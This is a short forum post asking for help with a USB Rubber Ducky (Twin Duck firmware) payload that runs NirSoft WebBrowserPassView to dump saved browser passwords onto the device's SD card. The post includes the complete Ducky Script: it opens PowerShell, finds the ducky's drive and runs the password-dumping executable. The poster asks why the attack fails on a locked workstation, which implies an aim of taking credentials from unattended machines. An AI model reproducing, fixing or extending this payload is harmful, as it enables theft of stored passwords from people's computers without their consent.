This is really weird. I flashed my usb rubber ducky with twin ducky firmware via ducky flasher on Kali. Tried both regular and GPIO button ones, same result.
I am running a webbrowserpassview from nirsoft via inject.bin. When the workstation is unlocked, it runs correctly, provides password.txt file saved on the ducky SD card partition.
As soon as I lock the machine and insert the ducky/press the button, it starts blinking red/blue like it does something, but in the end just starts typing all of the script commands inside user logon prompt and not in the background?!
What am I doing wrong, guys? Please advise
DELAY 3000
GUI R
DELAY 200
STRING powershell
DELAY 200
ENTER
DELAY 2000
STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'Z' } | select name
DELAY 200
ENTER
DELAY 200
STRING cd $usbPath.name; ./p.exe /stext password.txt
DELAY 200
ENTER
STRING exit
DELAY 200
ENTER
Thank you